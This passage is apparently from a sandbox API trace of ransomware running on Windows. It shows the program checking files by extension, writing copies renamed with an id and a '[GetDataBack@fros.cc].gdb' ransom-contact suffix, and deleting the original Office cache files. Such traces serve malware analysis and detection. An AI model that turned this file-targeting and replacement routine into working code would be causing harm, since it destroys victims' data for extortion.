Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0115.479] GetLastError () returned 0x0 [0115.479] ReadFile (in: hFile=0x1a4, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x73c, lpOverlapped=0x0) returned 1 [0115.481] WriteFile (in: hFile=0x1a8, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0x740, lpOverlapped=0x0) returned 1 [0115.482] ReadFile (in: hFile=0x1a4, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x0, lpOverlapped=0x0) returned 1 [0115.482] WriteFile (in: hFile=0x1a8, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0xe6, lpOverlapped=0x0) returned 1 [0115.482] SetEndOfFile (hFile=0x1a8) returned 1 [0115.482] CloseHandle (hObject=0x1a8) returned 1 [0115.483] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0115.483] SetEndOfFile (hFile=0x1a4) returned 1 [0115.484] CloseHandle (hObject=0x1a4) returned 1 [0115.484] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0115.484] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0115.484] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0115.484] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0115.484] lstrlenW (lpString=".doc") returned 4 [0115.484] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0115.484] lstrlenW (lpString=".docx") returned 5 [0115.484] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0115.484] lstrlenW (lpString=".pdf") returned 4 [0115.484] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0115.484] lstrlenW (lpString=".xls") returned 4 [0115.484] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0115.484] lstrlenW (lpString=".xlsx") returned 5 [0115.484] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0115.484] lstrlenW (lpString=".ppt") returned 4 [0115.484] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0115.484] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0115.484] lstrlenW (lpString=".zip") returned 4 [0115.484] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0115.485] lstrlenW (lpString=".rar") returned 4 [0115.485] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0115.485] lstrlenW (lpString=".bz2") returned 4 [0115.485] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0115.485] lstrlenW (lpString=".7z") returned 3 [0115.485] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0115.485] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0115.485] lstrlenW (lpString=".dbf") returned 4 [0115.485] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0115.485] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0115.485] lstrlenW (lpString=".1cd") returned 4 [0115.485] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0115.485] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0115.485] lstrlenW (lpString=".jpg") returned 4 [0115.485] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0115.485] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0115.485] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0115.485] lstrlenW (lpString=".doc") returned 4 [0115.485] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0115.485] lstrlenW (lpString=".docx") returned 5 [0115.485] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0115.485] lstrlenW (lpString=".pdf") returned 4 [0115.485] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0115.485] lstrlenW (lpString=".xls") returned 4 [0115.485] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0115.485] lstrlenW (lpString=".xlsx") returned 5 [0115.485] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0115.485] lstrlenW (lpString=".ppt") returned 4 [0115.485] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0115.485] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0115.485] lstrlenW (lpString=".zip") returned 4 [0115.485] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0115.485] lstrlenW (lpString=".rar") returned 4 [0115.485] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0115.485] lstrlenW (lpString=".bz2") returned 4 [0115.485] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0115.485] lstrlenW (lpString=".7z") returned 3 [0115.485] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0115.485] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0115.485] lstrlenW (lpString=".dbf") returned 4 [0115.485] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0115.485] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0115.485] lstrlenW (lpString=".1cd") returned 4 [0115.485] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0115.486] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0115.486] lstrlenW (lpString=".jpg") returned 4 [0115.486] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0115.486] lstrcmpiW (lpString1=".xml", lpString2=".gdb") returned 1 [0115.486] lstrlenW (lpString="Setup.xml") returned 9 [0115.486] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0115.487] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x33f7cc | out: lpFileSize=0x33f7cc*=6241) returned 1 [0115.487] CloseHandle (hObject=0x1a4) returned 1 [0115.487] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0115.487] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0115.487] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0115.487] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0115.487] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0115.487] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0115.488] GetLastError () returned 0x0 [0115.488] ReadFile (in: hFile=0x1a4, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x1861, lpOverlapped=0x0) returned 1 [0115.490] WriteFile (in: hFile=0x1a8, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0x1870, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0x1870, lpOverlapped=0x0) returned 1 [0115.491] ReadFile (in: hFile=0x1a4, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x0, lpOverlapped=0x0) returned 1 [0115.491] WriteFile (in: hFile=0x1a8, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0xe6, lpOverlapped=0x0) returned 1 [0115.491] SetEndOfFile (hFile=0x1a8) returned 1 [0115.491] CloseHandle (hObject=0x1a8) returned 1 [0115.491] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0115.491] SetEndOfFile (hFile=0x1a4) returned 1 [0115.492] CloseHandle (hObject=0x1a4) returned 1 [0115.492] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0115.492] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0115.493] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0115.493] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0115.493] lstrlenW (lpString=".doc") returned 4 [0115.493] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0115.493] lstrlenW (lpString=".docx") returned 5 [0115.493] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0115.493] lstrlenW (lpString=".pdf") returned 4 [0115.493] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0115.493] lstrlenW (lpString=".xls") returned 4 [0115.493] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0115.493] lstrlenW (lpString=".xlsx") returned 5 [0115.493] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0115.493] lstrlenW (lpString=".ppt") returned 4 [0115.493] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0115.493] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0115.493] lstrlenW (lpString=".zip") returned 4 [0115.493] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0115.493] lstrlenW (lpString=".rar") returned 4 [0115.493] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0115.493] lstrlenW (lpString=".bz2") returned 4 [0115.493] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0115.493] lstrlenW (lpString=".7z") returned 3 [0115.493] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0115.493] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0115.493] lstrlenW (lpString=".dbf") returned 4 [0115.493] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0115.493] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0115.493] lstrlenW (lpString=".1cd") returned 4 [0115.493] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0115.493] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0115.493] lstrlenW (lpString=".jpg") returned 4 [0115.493] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0115.493] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0115.493] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0115.493] lstrlenW (lpString=".doc") returned 4 [0115.494] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0115.494] lstrlenW (lpString=".docx") returned 5 [0115.494] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0115.494] lstrlenW (lpString=".pdf") returned 4 [0115.494] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0115.494] lstrlenW (lpString=".xls") returned 4 [0115.494] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0115.494] lstrlenW (lpString=".xlsx") returned 5 [0115.494] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0115.494] lstrlenW (lpString=".ppt") returned 4 [0115.494] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0115.494] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0115.494] lstrlenW (lpString=".zip") returned 4 [0115.494] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0115.494] lstrlenW (lpString=".rar") returned 4 [0115.494] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0115.494] lstrlenW (lpString=".bz2") returned 4 [0115.494] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0115.494] lstrlenW (lpString=".7z") returned 3 [0115.494] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0115.494] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0115.494] lstrlenW (lpString=".dbf") returned 4 [0115.494] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0115.494] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0115.494] lstrlenW (lpString=".1cd") returned 4 [0115.494] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0115.494] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0115.494] lstrlenW (lpString=".jpg") returned 4 [0115.494] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0115.494] lstrcmpiW (lpString1=".xml", lpString2=".gdb") returned 1 [0115.494] lstrlenW (lpString="VisioMUI.xml") returned 12 [0115.494] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0115.495] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x33f7cc | out: lpFileSize=0x33f7cc*=9503) returned 1 [0115.495] CloseHandle (hObject=0x1a4) returned 1 [0115.495] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml")) returned 0x2020 [0115.495] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0115.495] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0115.495] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0115.495] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0115.495] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0115.495] GetLastError () returned 0x0 [0115.495] ReadFile (in: hFile=0x1a4, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x251f, lpOverlapped=0x0) returned 1 [0115.497] WriteFile (in: hFile=0x1a8, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0x2520, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0x2520, lpOverlapped=0x0) returned 1 [0115.497] ReadFile (in: hFile=0x1a4, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x0, lpOverlapped=0x0) returned 1 [0115.497] WriteFile (in: hFile=0x1a8, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0xec, lpOverlapped=0x0) returned 1 [0115.498] SetEndOfFile (hFile=0x1a8) returned 1 [0115.498] CloseHandle (hObject=0x1a8) returned 1 [0115.498] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0115.498] SetEndOfFile (hFile=0x1a4) returned 1 [0115.499] CloseHandle (hObject=0x1a4) returned 1 [0115.499] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0115.499] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml")) returned 1 [0115.499] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0115.499] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0115.500] lstrlenW (lpString=".doc") returned 4 [0115.500] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0115.500] lstrlenW (lpString=".docx") returned 5 [0115.500] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0115.500] lstrlenW (lpString=".pdf") returned 4 [0115.500] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0115.500] lstrlenW (lpString=".xls") returned 4 [0115.500] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0115.500] lstrlenW (lpString=".xlsx") returned 5 [0115.500] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0115.500] lstrlenW (lpString=".ppt") returned 4 [0115.500] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0115.500] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0115.500] lstrlenW (lpString=".zip") returned 4 [0115.500] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0115.500] lstrlenW (lpString=".rar") returned 4 [0115.500] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0115.500] lstrlenW (lpString=".bz2") returned 4 [0115.500] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0115.500] lstrlenW (lpString=".7z") returned 3 [0115.500] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0115.500] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0115.500] lstrlenW (lpString=".dbf") returned 4 [0115.500] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0115.500] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0115.500] lstrlenW (lpString=".1cd") returned 4 [0115.500] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0115.500] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0115.500] lstrlenW (lpString=".jpg") returned 4 [0115.500] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0115.500] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0115.500] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0115.500] lstrlenW (lpString=".doc") returned 4 [0115.500] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0115.500] lstrlenW (lpString=".docx") returned 5 [0115.500] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0115.500] lstrlenW (lpString=".pdf") returned 4 [0115.500] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0115.500] lstrlenW (lpString=".xls") returned 4 [0115.500] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0115.500] lstrlenW (lpString=".xlsx") returned 5 [0115.500] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0115.500] lstrlenW (lpString=".ppt") returned 4 [0115.500] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0115.501] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0115.501] lstrlenW (lpString=".zip") returned 4 [0115.501] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0115.501] lstrlenW (lpString=".rar") returned 4 [0115.501] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0115.501] lstrlenW (lpString=".bz2") returned 4 [0115.501] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0115.501] lstrlenW (lpString=".7z") returned 3 [0115.501] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0115.501] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0115.501] lstrlenW (lpString=".dbf") returned 4 [0115.501] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0115.501] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0115.501] lstrlenW (lpString=".1cd") returned 4 [0115.501] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0115.501] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0115.501] lstrlenW (lpString=".jpg") returned 4 [0115.501] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0115.501] lstrcmpiW (lpString1=".xml", lpString2=".gdb") returned 1 [0115.501] lstrlenW (lpString="OneNoteMUI.xml") returned 14 [0115.501] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0115.502] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x33f7cc | out: lpFileSize=0x33f7cc*=1606) returned 1 [0115.502] CloseHandle (hObject=0x1a4) returned 1 [0115.502] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml")) returned 0x2020 [0115.502] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0115.502] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0115.502] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0115.502] 